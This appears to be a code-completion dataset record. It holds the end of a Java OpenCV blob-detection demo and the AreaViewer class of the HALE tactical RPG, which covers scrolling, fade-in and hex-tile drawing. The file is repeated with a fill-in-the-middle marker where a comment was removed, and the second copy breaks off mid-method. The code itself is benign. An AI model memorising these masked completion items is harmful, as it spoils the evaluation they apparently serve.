else if(k == 3) { RawImage = cvLoadImage("Blob1.jpg"); MinArea = 2800; ErodeCount = 1; DilateCount = 1; }
else if(k == 4) { RawImage = cvLoadImage("Blob2.jpg"); MinArea = 2800; ErodeCount = 1; DilateCount = 1; }
else if(k == 5) { RawImage = cvLoadImage("Blob3.jpg"); MinArea = 2800; ErodeCount = 1; DilateCount = 1; }
else if(k == 6) { RawImage = cvLoadImage("Rice.jpg"); MinArea = 30; ErodeCount = 2; DilateCount = 1; }
//ShowImage(RawImage, "RawImage", 512);
IplImage GrayImage = cvCreateImage(cvGetSize(RawImage), IPL_DEPTH_8U, 1);
cvCvtColor(RawImage, GrayImage, CV_BGR2GRAY);
//ShowImage(GrayImage, "GrayImage", 512);
IplImage BWImage = cvCreateImage(cvGetSize(GrayImage), IPL_DEPTH_8U, 1);
cvThreshold(GrayImage, BWImage, 127, 255, CV_THRESH_BINARY);
//ShowImage(BWImage, "BWImage");
IplImage WorkingImage = cvCreateImage(cvGetSize(BWImage), IPL_DEPTH_8U, 1);
cvErode(BWImage, WorkingImage, null, ErodeCount);
cvDilate(WorkingImage, WorkingImage, null, DilateCount);
//ShowImage(WorkingImage, "WorkingImage", 512);
//cvSaveImage("Working.jpg", WorkingImage);
//PrintGrayImage(WorkingImage, "WorkingImage");
//BinaryHistogram(WorkingImage);
Blobs Regions = new Blobs();
Regions.BlobAnalysis(
WorkingImage, // image
-1, -1, // ROI start col, row
-1, -1, // ROI cols, rows
1, // border (0 = black; 1 = white)
MinArea); // minarea
Regions.PrintRegionData();
for(int i = 1; i <= Blobs.MaxLabel; i++)
{
double [] Region = Blobs.RegionData[i];
int Parent = (int) Region[Blobs.BLOBPARENT];
int Color = (int) Region[Blobs.BLOBCOLOR];
int MinX = (int) Region[Blobs.BLOBMINX];
int MaxX = (int) Region[Blobs.BLOBMAXX];
int MinY = (int) Region[Blobs.BLOBMINY];
int MaxY = (int) Region[Blobs.BLOBMAXY];
Highlight(RawImage, MinX, MinY, MaxX, MaxY, 1);
}
ShowImage(RawImage, "RawImage", 512);
cvReleaseImage(GrayImage); GrayImage = null;
cvReleaseImage(BWImage); BWImage = null;
cvReleaseImage(WorkingImage); WorkingImage = null;
}
cvReleaseImage(RawImage); RawImage = null;
}
// Versions with 2, 3, and 4 parms respectively
public static void ShowImage(IplImage image, String caption)
{
CvMat mat = image.asCvMat();
int width = mat.cols(); if(width < 1) width = 1;
int height = mat.rows(); if(height < 1) height = 1;
double aspect = 1.0 * width / height;
if(height < 128) { height = 128; width = (int) ( height * aspect ); }
if(width < 128) width = 128;
height = (int) ( width / aspect );
ShowImage(image, caption, width, height);
}
public static void ShowImage(IplImage image, String caption, int size)
{
if(size < 128) size = 128;
CvMat mat = image.asCvMat();
int width = mat.cols(); if(width < 1) width = 1;
int height = mat.rows(); if(height < 1) height = 1;
double aspect = 1.0 * width / height;
if(height != size) { height = size; width = (int) ( height * aspect ); }
if(width != size) width = size;
height = (int) ( width / aspect );
ShowImage(image, caption, width, height);
}
public static void ShowImage(IplImage image, String caption, int width, int height)
{
CanvasFrame canvas = new CanvasFrame(caption, 1); // gamma=1
canvas.setDefaultCloseOperation(javax.swing.JFrame.EXIT_ON_CLOSE);
canvas.setCanvasSize(width, height);
OpenCVFrameConverter converter = new OpenCVFrameConverter.ToIplImage();
canvas.showImage(converter.convert(image));
}
public static void Highlight(IplImage image, int [] inVec)
{
Highlight(image, inVec[0], inVec[1], inVec[2], inVec[3], 1);
}
public static void Highlight(IplImage image, int [] inVec, int Thick)
{
Highlight(image, inVec[0], inVec[1], inVec[2], inVec[3], Thick);
}
public static void Highlight(IplImage image, int xMin, int yMin, int xMax, int yMax)
{
Highlight(image, xMin, yMin, xMax, yMax, 1);
}
public static void Highlight(IplImage image, int xMin, int yMin, int xMax, int yMax, int Thick)
{
CvPoint pt1 = cvPoint(xMin,yMin);
CvPoint pt2 = cvPoint(xMax,yMax);
CvScalar color = cvScalar(255,0,0,0); // blue [green]<SUF>
cvRectangle(image, pt1, pt2, color, Thick, 4, 0);
}
public static void PrintGrayImage(IplImage image, String caption)
{
int size = 512; // impractical to print anything larger
CvMat mat = image.asCvMat();
int cols = mat.cols(); if(cols < 1) cols = 1;
int rows = mat.rows(); if(rows < 1) rows = 1;
double aspect = 1.0 * cols / rows;
if(rows > size) { rows = size; cols = (int) ( rows * aspect ); }
if(cols > size) cols = size;
rows = (int) ( cols / aspect );
PrintGrayImage(image, caption, 0, cols, 0, rows);
}
public static void PrintGrayImage(IplImage image, String caption, int MinX, int MaxX, int MinY, int MaxY)
{
int size = 512; // impractical to print anything larger
CvMat mat = image.asCvMat();
int cols = mat.cols(); if(cols < 1) cols = 1;
int rows = mat.rows(); if(rows < 1) rows = 1;
if(MinX < 0) MinX = 0; if(MinX > cols) MinX = cols;
if(MaxX < 0) MaxX = 0; if(MaxX > cols) MaxX = cols;
if(MinY < 0) MinY = 0; if(MinY > rows) MinY = rows;
if(MaxY < 0) MaxY = 0; if(MaxY > rows) MaxY = rows;
System.out.println("\n" + caption);
System.out.print(" +");
for(int icol = MinX; icol < MaxX; icol++) System.out.print("-");
System.out.println("+");
for(int irow = MinY; irow < MaxY; irow++)
{
if(irow<10) System.out.print(" ");
if(irow<100) System.out.print(" ");
System.out.print(irow);
System.out.print("|");
for(int icol = MinX; icol < MaxX; icol++)
{
int val = (int) mat.get(irow,icol);
String C = " ";
if(val == 0) C = "*";
System.out.print(C);
}
System.out.println("|");
}
System.out.print(" +");
for(int icol = MinX; icol < MaxX; icol++) System.out.print("-");
System.out.println("+");
}
public static void PrintImageProperties(IplImage image)
{
CvMat mat = image.asCvMat();
int cols = mat.cols();
int rows = mat.rows();
int depth = mat.depth();
System.out.println("ImageProperties for " + image + " : cols=" + cols + " rows=" + rows + " depth=" + depth);
}
public static float BinaryHistogram(IplImage image)
{
CvScalar Sum = cvSum(image);
float WhitePixels = (float) ( Sum.getVal(0) / 255 );
CvMat mat = image.asCvMat();
float TotalPixels = mat.cols() * mat.rows();
//float BlackPixels = TotalPixels - WhitePixels;
return WhitePixels / TotalPixels;
}
// Counterclockwise small angle rotation by skewing - Does not stretch border pixels
public static IplImage SkewGrayImage(IplImage Src, double angle) // angle is in radians
{
//double radians = - Math.PI * angle / 360.0; // Half because skew is horizontal and vertical
double sin = - Math.sin(angle);
double AbsSin = Math.abs(sin);
int nChannels = Src.nChannels();
if(nChannels != 1)
{
System.out.println("ERROR: SkewGrayImage: Require 1 channel: nChannels=" + nChannels);
System.exit(1);
}
CvMat SrcMat = Src.asCvMat();
int SrcCols = SrcMat.cols();
int SrcRows = SrcMat.rows();
double WidthSkew = AbsSin * SrcRows;
double HeightSkew = AbsSin * SrcCols;
int DstCols = (int) ( SrcCols + WidthSkew );
int DstRows = (int) ( SrcRows + HeightSkew );
CvMat DstMat = cvCreateMat(DstRows, DstCols, CV_8UC1); // Type matches IPL_DEPTH_8U
cvSetZero(DstMat);
cvNot(DstMat, DstMat);
for(int irow = 0; irow < DstRows; irow++)
{
int dcol = (int) ( WidthSkew * irow / SrcRows );
for(int icol = 0; icol < DstCols; icol++)
{
int drow = (int) ( HeightSkew - HeightSkew * icol / SrcCols );
int jrow = irow - drow;
int jcol = icol - dcol;
if(jrow < 0 || jcol < 0 || jrow >= SrcRows || jcol >= SrcCols) DstMat.put(irow, icol, 255);
else DstMat.put(irow, icol, (int) SrcMat.get(jrow,jcol));
}
}
IplImage Dst = cvCreateImage(cvSize(DstCols, DstRows), IPL_DEPTH_8U, 1);
Dst = DstMat.asIplImage();
return Dst;
}
public static IplImage TransposeImage(IplImage SrcImage)
{
CvMat mat = SrcImage.asCvMat();
int cols = mat.cols();
int rows = mat.rows();
IplImage DstImage = cvCreateImage(cvSize(rows, cols), IPL_DEPTH_8U, 1);
cvTranspose(SrcImage, DstImage);
cvFlip(DstImage,DstImage,1);
return DstImage;
}
}
|
200701_12 | /*
* Hale is highly moddable tactical RPG.
* Copyright (C) 2011 Jared Stephen
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package hale.view;
import hale.AreaListener;
import hale.Game;
import hale.ability.Targeter;
import hale.area.Area;
import hale.area.Transition;
import hale.entity.Creature;
import hale.entity.PC;
import hale.entity.Entity;
import hale.interfacelock.InterfaceLock;
import hale.util.AreaUtil;
import hale.util.Point;
import hale.widgets.EntityMouseover;
import hale.widgets.OverHeadFadeAway;
import hale.tileset.AreaTileGrid;
import org.lwjgl.opengl.GL11;
import de.matthiasmann.twl.AnimationState;
import de.matthiasmann.twl.Event;
import de.matthiasmann.twl.GUI;
import de.matthiasmann.twl.ThemeInfo;
import de.matthiasmann.twl.Widget;
import de.matthiasmann.twl.renderer.AnimationState.StateKey;
import de.matthiasmann.twl.renderer.Image;
/**
* The widget that comprises the main portion of the Game screen. Views the set
* of tiles associated with a given area and all entities within that area.
*
* @author Jared Stephen
*/
public class AreaViewer extends Widget implements AreaTileGrid.AreaRenderer
{
/**
* The "active" and enabled GUI state for this AreaViewer, used as a time source
* for animations
*/
public static final StateKey STATE_ACTIVE = StateKey.get("active");
private Image hexAnim;
private Image hexFilledBlack, hexFilledGrey;
private Image hexWhite, hexRed, hexBlue, hexGreen, hexGrey;
public Point mouseHoverTile;
public boolean mouseHoverValid;
private Area area;
private final Point scroll;
private final Point maxScroll;
private final Point minScroll;
private AreaListener areaListener;
private DelayedScroll delayedScroll;
private ScreenShake screenShake;
private long fadeInTime;
/**
* Creates a new AreaViewer viewing the specified Area.
*
* @param area the Area to view
*/
public AreaViewer(Area area)
{
mouseHoverTile = new Point();
mouseHoverValid = true;
this.scroll = new Point(0, 0);
this.maxScroll = new Point(0, 0);
this.minScroll = new Point(0, 0);
this.area = area;
fadeInTime = System.currentTimeMillis();
}
/**
* Sets the area being viewed by this AreaViewer
*
* @param area the Area to view
*/
public void setArea(Area area)
{
this.area = area;
this.scroll.x = 0;
this.scroll.y = 0;
invalidateLayout();
setMaxScroll();
// validate scroll position
scroll(0, 0);
// load tileset
Game.curCampaign.getTileset(area.getTileset()).loadTiles();
area.getTileGrid().cacheSprites();
fadeInTime = System.currentTimeMillis();
Game.timer.resetTime();
}
/**
* Causes this viewer to fade in, with the fade start time set to the current time.
*/
public void fadeIn()
{
fadeInTime = System.currentTimeMillis();
}
/**
* Returns the Area currently being viewed by this AreaViewer
*
* @return the Area currently being viewed by this AreaViewer
*/
@Override
public Area getArea()
{
return area;
}
/**
* Sets the listener which handles all events sent to this AreaViewer
*
* @param areaListener the listener for this areaViewer
*/
public void setListener(AreaListener areaListener)
{
this.areaListener = areaListener;
}
@Override
public void drawInterface(AnimationState as)
{
if (!Game.interfaceLocker.locked()) {
Creature activeCreature = areaListener.getCombatRunner().getActiveCreature();
if (Game.isInTurnMode() && !activeCreature.isPlayerFaction()) {
// draw a hex around the active hostile
drawBlueHex(areaListener.getCombatRunner().getActiveCreature().getLocation().toPoint(), as);
} else {
// draw a hex around the selected party member
drawBlueHex(Game.curCampaign.party.getSelected().getLocation().toPoint(), as);
}
}
Targeter currentTargeter = areaListener.getTargeterManager().getCurrentTargeter();
if (currentTargeter != null) {
currentTargeter.draw(as);
}
if (mouseHoverValid) {
drawWhiteHex(mouseHoverTile, as);
} else {
drawRedHex(mouseHoverTile, as);
}
if (Game.isInTurnMode() && !areaListener.getTargeterManager().isInTargetMode()) {
Creature active = areaListener.getCombatRunner().getActiveCreature();
if (active != null && !Game.interfaceLocker.locked()) {
drawAnimHex(active.getLocation().toPoint(), as);
}
}
GL11.glColor3f(1.0f, 1.0f, 1.0f);
}
@Override
protected void paintWidget(GUI gui)
{
AnimationState as = this.getAnimationState();
GL11.glPushMatrix();
GL11.glTranslatef((-scroll.x + getX()), (-scroll.y + getY()), 0.0f);
GL11.glEnable(GL11.GL_TEXTURE_2D);
// compute drawing bounds
Point topLeft = AreaUtil.convertScreenToGrid(scroll.x - getX(), scroll.y - getY());
Point bottomRight = AreaUtil.convertScreenToGrid(scroll.x - getX() + getWidth(), scroll.y - getY() + getHeight());
topLeft.x = Math.max(0, topLeft.x - 2);
topLeft.y = Math.max(0, topLeft.y - 2);
// ensure topLeft.x is even
if (topLeft.x % 2 == 1) topLeft.x -= 1;
bottomRight.x = Math.min(area.getWidth() - 1, bottomRight.x + 2);
bottomRight.y = Math.min(area.getHeight() - 1, bottomRight.y + 2);
// draw the area
area.getTileGrid().draw(this, as, topLeft, bottomRight);
Entity mouseOverEntity = Game.mainViewer.getMouseOver().getSelectedEntity();
if (!Game.isInTurnMode() || !(mouseOverEntity instanceof PC)) {
drawVisibility(area.getVisibility(), as, topLeft, bottomRight);
} else {
drawCreatureVisibility((Creature)mouseOverEntity, as, topLeft, bottomRight);
}
GL11.glDisable(GL11.GL_TEXTURE_2D);
GL11.glPopMatrix();
GL11.glColor3f(0.0f, 0.0f, 0.0f);
GL11.glBegin(GL11.GL_POLYGON);
GL11.glVertex2i((area.getWidth() - 2) * Game.TILE_WIDTH + getX(), 0);
GL11.glVertex2i(Game.config.getResolutionX(), 0);
GL11.glVertex2i(Game.config.getResolutionX(), Game.config.getResolutionY());
GL11.glVertex2i((area.getWidth() - 2) * Game.TILE_WIDTH + getX(), Game.config.getResolutionY());
GL11.glEnd();
GL11.glBegin(GL11.GL_POLYGON);
GL11.glVertex2i(0, (area.getHeight() - 1) * Game.TILE_SIZE - Game.TILE_SIZE / 2);
GL11.glVertex2i(Game.config.getResolutionX(), (area.getHeight() - 1) * Game.TILE_SIZE - Game.TILE_SIZE / 2);
GL11.glVertex2i(Game.config.getResolutionX(), Game.config.getResolutionY());
GL11.glVertex2i(0, Game.config.getResolutionY());
GL11.glEnd();
// do a fade in if needed
if (fadeInTime != 0) {
long curTime = System.currentTimeMillis();
float fadeAlpha = Math.min(1.0f, 1.3f - (curTime - fadeInTime) / 1500.0f);
if (fadeAlpha > 0.0f) {
GL11.glColor4f(0.0f, 0.0f, 0.0f, fadeAlpha);
GL11.glBegin(GL11.GL_QUADS);
GL11.glVertex2i(getX(), getY());
GL11.glVertex2i(getX(), getBottom());
GL11.glVertex2i(getRight(), getBottom());
GL11.glVertex2i(getRight(), getY());
GL11.glEnd();
} else {
fadeInTime = 0;
}
}
GL11.glEnable(GL11.GL_TEXTURE_2D);
}
/**
* Performs any delayed scrolls or screen shakes that have been queued up
*
* @param curTime the current time in milliseconds
*/
public void update(long curTime)
{
performDelayedScrolling(curTime);
performScreenShake(curTime);
}
private void performScreenShake(long curTime)
{
if (screenShake == null) return;
if (curTime > screenShake.endTime) {
scroll(-screenShake.lastShakeX, -screenShake.lastShakeY, true);
screenShake = null;
} else
if (curTime > screenShake.lastTime + 110) {
screenShake.lastTime = curTime;
int newShakeX = -1 * ((int)Math.signum(screenShake.lastShakeX)) * Game.dice.rand(20, 35);
int newShakeY = Game.dice.rand(-2, 2);
scroll(newShakeX - screenShake.lastShakeX, newShakeY - screenShake.lastShakeY, true);
screenShake.lastShakeX = newShakeX;
screenShake.lastShakeY = newShakeY;
}
}
/**
* Performs the classic "screen shake" effect
*/
public void addScreenShake()
{
ScreenShake shake = new ScreenShake();
long curTime = System.currentTimeMillis();
shake.endTime = curTime + 600;
shake.lastTime = curTime;
shake.lastShakeX = 1;
this.screenShake = shake;
Game.interfaceLocker.add(new InterfaceLock(Game.curCampaign.party.getSelected(), 600));
}
/**
* Performs any gradual scrolling currently queued up for this AreaViewer
*
* @param curTime the current time in milliseconds
*/
private void performDelayedScrolling(long curTime)
{
if (delayedScroll == null) return;
long elapsedTime = curTime - delayedScroll.startTime;
float destx = delayedScroll.scrollXPerMilli * elapsedTime + delayedScroll.startScrollX;
float desty = delayedScroll.scrollYPerMilli * elapsedTime + delayedScroll.startScrollY;
scroll((int)(destx - scroll.x), (int)(desty - scroll.y), true);
if (delayedScroll.endTime < curTime) {
delayedScroll = null;
}
}
/**
* Adds a delayed scroll to the specified point using the DelayedScrollTime.
* After the scroll completes, the view will be centered on the specified point
*
* @param pScreen the point to scroll to
*/
public void addDelayedScrollToScreenPoint(Point pScreen)
{
this.delayedScroll = new DelayedScroll();
int destx = pScreen.x - this.getInnerWidth() / 2;
int desty = pScreen.y - this.getInnerHeight() / 2;
delayedScroll.startScrollX = scroll.x;
delayedScroll.startScrollY = scroll.y;
float x = destx - scroll.x;
float y = desty - scroll.y;
int totalTime = Game.config.getCombatDelay() * 2;
delayedScroll.scrollXPerMilli = x / totalTime;
delayedScroll.scrollYPerMilli = y / totalTime;
delayedScroll.startTime = System.currentTimeMillis();
delayedScroll.endTime = delayedScroll.startTime + totalTime;
}
/**
* Adds a delayed scroll to the specified creature using the DelayedScrollTime.
* After the scroll completes, the view will be centered on the specified creature
* in the same way as {@link #scrollToCreature(Entity)}
*
* @param creature the creature to scroll to
*/
public void addDelayedScrollToCreature(Entity creature)
{
addDelayedScrollToScreenPoint(creature.getLocation().getCenteredScreenPoint());
}
/**
* Scrolls the view of this area so that it is centered on the specified creature. If the
* creature is near the edges of the area and the view cannot center on the creature, the
* view is moved as close to centered as possible
*
* @param creature the entity to center the view on
*/
public void scrollToCreature(Entity creature)
{
Point pScreen = creature.getLocation().getCenteredScreenPoint();
int destx = pScreen.x - this.getInnerWidth() / 2;
int desty = pScreen.y - this.getInnerHeight() / 2;
// clear any delayed scroll
delayedScroll = null;
scroll(destx - scroll.x, desty - scroll.y);
}
@Override
protected void layout()
{
super.layout();
setMaxScroll();
// validate scroll position
scroll(0, 0);
}
/**
* Sets the maximum and minimum scroll for this AreaViewer based on the
* size of the underlying area. This method can be overriden to show a larger
* border area, useful for the editor.
*/
protected void setMaxScroll()
{
minScroll.x = Game.TILE_SIZE;
minScroll.y = Game.TILE_SIZE;
maxScroll.x = (area.getWidth() - 1) * Game.TILE_WIDTH - this.getInnerWidth();
maxScroll.y = area.getHeight() * Game.TILE_SIZE - Game.TILE_SIZE / 2 - this.getInnerHeight();
if (maxScroll.x < minScroll.x) maxScroll.x = minScroll.x;
if (maxScroll.y < minScroll.y) maxScroll.y = minScroll.y;
}
/**
* Returns the maximum scroll coordinates for this Widget
*
* @return the maximum scroll coordinates for this widget
*/
protected Point getMaxScroll()
{
return maxScroll;
}
/**
* Returns the minimum scroll coordinates for this Widget
*
* @return the minimum scroll coordinates for this widget
*/
protected Point getMinScroll()
{
return minScroll;
}
/**
* Returns the current x scroll coordinate
*
* @return the current x scroll coordinate
*/
public int getScrollX()
{
return scroll.x;
}
/**
* Returns the current y scroll coordinate
*
* @return the current y scroll coordinate
*/
public int getScrollY()
{
return scroll.y;
}
/**
* Scrolls the view of this AreaViewer by the specified amount, capped
* by the maximum and minimum scrolls. Also scrolls appropriate widgets
* such as overheadfadeaways
*
* @param x the x scroll amount
* @param y the y scroll amount
* @return the amount that was actually scrolled by. This can be closer
* to 0 than x or y if the scroll was capped by the max or min scrolls.
*/
public Point scroll(int x, int y)
{
return scroll(x, y, false);
}
private Point scroll(int x, int y, boolean delayedScroll)
{
// don't allow scrolling by other means when a delayed scroll is active
if (!delayedScroll && this.delayedScroll != null) {
return new Point();
}
int scrollXAmount, scrollYAmount;
scrollXAmount = Math.min(maxScroll.x - scroll.x, x);
scrollXAmount = Math.max(minScroll.x - scroll.x, scrollXAmount);
scrollYAmount = Math.min(maxScroll.y - scroll.y, y);
scrollYAmount = Math.max(minScroll.y - scroll.y, scrollYAmount);
scroll.x += scrollXAmount;
scroll.y += scrollYAmount;
if (Game.mainViewer != null) {
EntityMouseover mo = Game.mainViewer.getMouseOver();
int moX = mo.getX();
int moY = mo.getY();
mo.setPosition(moX - scrollXAmount, moY - scrollYAmount);
for (OverHeadFadeAway fadeAway : Game.mainViewer.getFadeAways()) {
fadeAway.scroll(scrollXAmount, scrollYAmount);
}
}
return new Point(scrollXAmount, scrollYAmount);
}
/**
* draws the visibility of the Area viewed by this AreaViewer
*
* @param visibility the visibility matrix to be drawn
*/
private void drawVisibility(boolean[][] visibility, AnimationState as, Point topLeft, Point bottomRight)
{
boolean[][] explored = area.getExplored();
for (int x = topLeft.x; x <= bottomRight.x; x++) {
for (int y = topLeft.y; y <= bottomRight.y; y++) {
Point screenPoint = AreaUtil.convertGridToScreen(x, y);
if (!explored[x][y]) {
hexFilledBlack.draw(as, screenPoint.x, screenPoint.y);
} else
if (!visibility[x][y]) {
hexFilledGrey.draw(as, screenPoint.x, screenPoint.y);
}
}
}
GL11.glColor3f(1.0f, 1.0f, 1.0f);
}
private void drawCreatureVisibility(Creature creature, AnimationState as, Point topLeft, Point bottomRight)
{
boolean[][] explored = area.getExplored();
for (int x = topLeft.x; x <= bottomRight.x; x++) {
for (int y = topLeft.y; y <= bottomRight.y; y++) {
Point screenPoint = AreaUtil.convertGridToScreen(x, y);
if (!explored[x][y]) {
hexFilledBlack.draw(as, screenPoint.x, screenPoint.y);
} else
if (!creature.hasVisibilityInCurrentArea(x, y)) {
hexFilledGrey.draw(as, screenPoint.x, screenPoint.y);
}
}
}
GL11.glColor3f(1.0f, 1.0f, 1.0f);
}
/**
* Draws all Area Transitions within the currently viewed Area
*/
@Override
public void drawTransitions()
{
GL11.glColor3f(1.0f, 1.0f, 1.0f);
for (String s : area.getTransitions()) {
Transition transition = Game.curCampaign.getAreaTransition(s);
if (!transition.isActivated()) continue;
Transition.EndPoint endPoint = transition.getEndPointInArea(area);
Point screen = AreaUtil.convertGridToScreen(endPoint.getX(), endPoint.getY());
transition.getIcon().draw(screen.x, screen.y);
}
}
public final void drawRedHex(Point gridPoint, AnimationState as)
{
Point screen = AreaUtil.convertGridToScreen(gridPoint);
hexRed.draw(as, screen.x, screen.y);
}
public final void drawWhiteHex(Point gridPoint, AnimationState as)
{
Point screen = AreaUtil.convertGridToScreen(gridPoint);
hexWhite.draw(as, screen.x, screen.y);
}
public final void drawGreenHex(Point gridPoint, AnimationState as)
{
Point screen = AreaUtil.convertGridToScreen(gridPoint);
hexGreen.draw(as, screen.x, screen.y);
}
public final void drawBlueHex(Point gridPoint, AnimationState as)
{
Point screen = AreaUtil.convertGridToScreen(gridPoint);
hexBlue.draw(as, screen.x, screen.y);
}
public final void drawGreyHex(Point gridPoint, AnimationState as)
{
Point screen = AreaUtil.convertGridToScreen(gridPoint);
hexGrey.draw(as, screen.x, screen.y);
}
public final void drawAnimHex(int gridX, int gridY, AnimationState as)
{
Point screen = AreaUtil.convertGridToScreen(gridX, gridY);
hexAnim.draw(as, screen.x, screen.y);
}
public final void drawAnimHex(Point point, AnimationState as)
{
drawAnimHex(point.x, point.y, as);
}
@Override
protected boolean handleEvent(Event evt)
{
if (super.handleEvent(evt)) return true;
return areaListener.handleEvent(evt);
}
@Override
protected void applyTheme(ThemeInfo themeInfo)
{
super.applyTheme(themeInfo);
areaListener.setThemeInfo(themeInfo);
hexFilledBlack = themeInfo.getImage("hexfilledblack");
hexFilledGrey = themeInfo.getImage("hexfilledgrey");
hexWhite = themeInfo.getImage("hexwhite");
hexRed = themeInfo.getImage("hexred");
hexBlue = themeInfo.getImage("hexblue");
hexGreen = themeInfo.getImage("hexgreen");
hexGrey = themeInfo.getImage("hexgrey");
hexAnim = themeInfo.getImage("hexanim");
this.getAnimationState().setAnimationState(STATE_ACTIVE, true);
}
private class DelayedScroll
{
private int startScrollX;
private int startScrollY;
private float scrollXPerMilli;
private float scrollYPerMilli;
private long startTime, endTime;
}
private class ScreenShake
{
private long endTime;
private long lastTime;
private int lastShakeX, lastShakeY;
}
}
| Andres6936/HALE | src/main/java/hale/view/AreaViewer.java | 6,222 | // ensure topLeft.x is even | line_comment | nl | /*
* Hale is highly moddable tactical RPG.
* Copyright (C) 2011 Jared Stephen
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package hale.view;
import hale.AreaListener;
import hale.Game;
import hale.ability.Targeter;
import hale.area.Area;
import hale.area.Transition;
import hale.entity.Creature;
import hale.entity.PC;
import hale.entity.Entity;
import hale.interfacelock.InterfaceLock;
import hale.util.AreaUtil;
import hale.util.Point;
import hale.widgets.EntityMouseover;
import hale.widgets.OverHeadFadeAway;
import hale.tileset.AreaTileGrid;
import org.lwjgl.opengl.GL11;
import de.matthiasmann.twl.AnimationState;
import de.matthiasmann.twl.Event;
import de.matthiasmann.twl.GUI;
import de.matthiasmann.twl.ThemeInfo;
import de.matthiasmann.twl.Widget;
import de.matthiasmann.twl.renderer.AnimationState.StateKey;
import de.matthiasmann.twl.renderer.Image;
/**
* The widget that comprises the main portion of the Game screen. Views the set
* of tiles associated with a given area and all entities within that area.
*
* @author Jared Stephen
*/
public class AreaViewer extends Widget implements AreaTileGrid.AreaRenderer
{
/**
* The "active" and enabled GUI state for this AreaViewer, used as a time source
* for animations
*/
public static final StateKey STATE_ACTIVE = StateKey.get("active");
private Image hexAnim;
private Image hexFilledBlack, hexFilledGrey;
private Image hexWhite, hexRed, hexBlue, hexGreen, hexGrey;
public Point mouseHoverTile;
public boolean mouseHoverValid;
private Area area;
private final Point scroll;
private final Point maxScroll;
private final Point minScroll;
private AreaListener areaListener;
private DelayedScroll delayedScroll;
private ScreenShake screenShake;
private long fadeInTime;
/**
* Creates a new AreaViewer viewing the specified Area.
*
* @param area the Area to view
*/
public AreaViewer(Area area)
{
mouseHoverTile = new Point();
mouseHoverValid = true;
this.scroll = new Point(0, 0);
this.maxScroll = new Point(0, 0);
this.minScroll = new Point(0, 0);
this.area = area;
fadeInTime = System.currentTimeMillis();
}
/**
* Sets the area being viewed by this AreaViewer
*
* @param area the Area to view
*/
public void setArea(Area area)
{
this.area = area;
this.scroll.x = 0;
this.scroll.y = 0;
invalidateLayout();
setMaxScroll();
// validate scroll position
scroll(0, 0);
// load tileset
Game.curCampaign.getTileset(area.getTileset()).loadTiles();
area.getTileGrid().cacheSprites();
fadeInTime = System.currentTimeMillis();
Game.timer.resetTime();
}
/**
* Causes this viewer to fade in, with the fade start time set to the current time.
*/
public void fadeIn()
{
fadeInTime = System.currentTimeMillis();
}
/**
* Returns the Area currently being viewed by this AreaViewer
*
* @return the Area currently being viewed by this AreaViewer
*/
@Override
public Area getArea()
{
return area;
}
/**
* Sets the listener which handles all events sent to this AreaViewer
*
* @param areaListener the listener for this areaViewer
*/
public void setListener(AreaListener areaListener)
{
this.areaListener = areaListener;
}
@Override
public void drawInterface(AnimationState as)
{
if (!Game.interfaceLocker.locked()) {
Creature activeCreature = areaListener.getCombatRunner().getActiveCreature();
if (Game.isInTurnMode() && !activeCreature.isPlayerFaction()) {
// draw a hex around the active hostile
drawBlueHex(areaListener.getCombatRunner().getActiveCreature().getLocation().toPoint(), as);
} else {
// draw a hex around the selected party member
drawBlueHex(Game.curCampaign.party.getSelected().getLocation().toPoint(), as);
}
}
Targeter currentTargeter = areaListener.getTargeterManager().getCurrentTargeter();
if (currentTargeter != null) {
currentTargeter.draw(as);
}
if (mouseHoverValid) {
drawWhiteHex(mouseHoverTile, as);
} else {
drawRedHex(mouseHoverTile, as);
}
if (Game.isInTurnMode() && !areaListener.getTargeterManager().isInTargetMode()) {
Creature active = areaListener.getCombatRunner().getActiveCreature();
if (active != null && !Game.interfaceLocker.locked()) {
drawAnimHex(active.getLocation().toPoint(), as);
}
}
GL11.glColor3f(1.0f, 1.0f, 1.0f);
}
@Override
protected void paintWidget(GUI gui)
{
AnimationState as = this.getAnimationState();
GL11.glPushMatrix();
GL11.glTranslatef((-scroll.x + getX()), (-scroll.y + getY()), 0.0f);
GL11.glEnable(GL11.GL_TEXTURE_2D);
// compute drawing bounds
Point topLeft = AreaUtil.convertScreenToGrid(scroll.x - getX(), scroll.y - getY());
Point bottomRight = AreaUtil.convertScreenToGrid(scroll.x - getX() + getWidth(), scroll.y - getY() + getHeight());
topLeft.x = Math.max(0, topLeft.x - 2);
topLeft.y = Math.max(0, topLeft.y - 2);
// ensure topLeft.x<SUF>
if (topLeft.x % 2 == 1) topLeft.x -= 1;
bottomRight.x = Math.min(area.getWidth() - 1, bottomRight.x + 2);
bottomRight.y = Math.min(area.getHeight() - 1, bottomRight.y + 2);
// draw the area
area.getTileGrid().draw(this, as, topLeft, bottomRight);
Entity mouseOverEntity = Game.mainViewer.getMouseOver().getSelectedEntity();
if (!Game.isInTurnMode() || !(mouseOverEntity instanceof PC)) {
drawVisibility(area.getVisibility(), as, topLeft, bottomRight);
} else {
drawCreatureVisibility((Creature)mouseOverEntity, as, topLeft, bottomRight);
}
GL11.glDisable(GL11.GL_TEXTURE_2D);
GL11.glPopMatrix();
GL11.glColor3f(0.0f, 0.0f, 0.0f);
GL11.glBegin(GL11.GL_POLYGON);
GL11.glVertex2i((area.getWidth() - 2) * Game.TILE_WIDTH + getX(), 0);
GL11.glVertex2i(Game.config.getResolutionX(), 0);
GL11.glVertex2i(Game.config.getResolutionX(), Game.config.getResolutionY());
GL11.glVertex2i((area.getWidth() - 2) * Game.TILE_WIDTH + getX(), Game.config.getResolutionY());
GL11.glEnd();
